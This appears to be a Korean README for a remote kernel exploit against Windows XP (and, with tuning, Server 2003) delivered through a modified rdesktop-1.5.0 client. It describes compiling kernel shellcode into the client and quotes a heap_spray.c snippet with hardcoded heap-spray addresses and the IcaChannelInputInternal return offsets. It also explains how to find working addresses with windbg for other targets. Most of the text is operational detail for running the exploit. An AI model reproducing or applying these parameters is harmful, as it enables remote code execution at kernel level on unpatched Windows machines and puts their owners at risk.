
XP (모든 버전 sp2, sp3)에서 작동합니다.
참고: shellcode/shellcode.asm은 커널 셸코드 소스입니다. 컴파일한 후 바이너리로 변환하면 rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b 파일이 됩니다. make 시 프로그램에 직접 컴파일됩니다.
현재는 XP만 지원하며, XP의 메모리가 2GB 이상이어야 합니다.
2003을 지원하려면 heap_spray.c 내의 HEAP_SPRAY_ADDRESS 매크로 주소를 수정해야 합니다. 반복 테스트 결과, 이 주소는 03의 다양한 시스템 버전과 메모리 크기에 따라 다릅니다. 하지만 자신의 기기를 테스트한다면 03에서 성공적으로 익스플로잇할 수 있습니다. 보편적이지 않습니다.
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //자체적으로 windbg에서 힙 스프레이 셸코드 주소를 디버깅해야 합니다. 보편적인 솔루션을 찾으신 분은 issues를 제출해주세요.
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
03 테스트
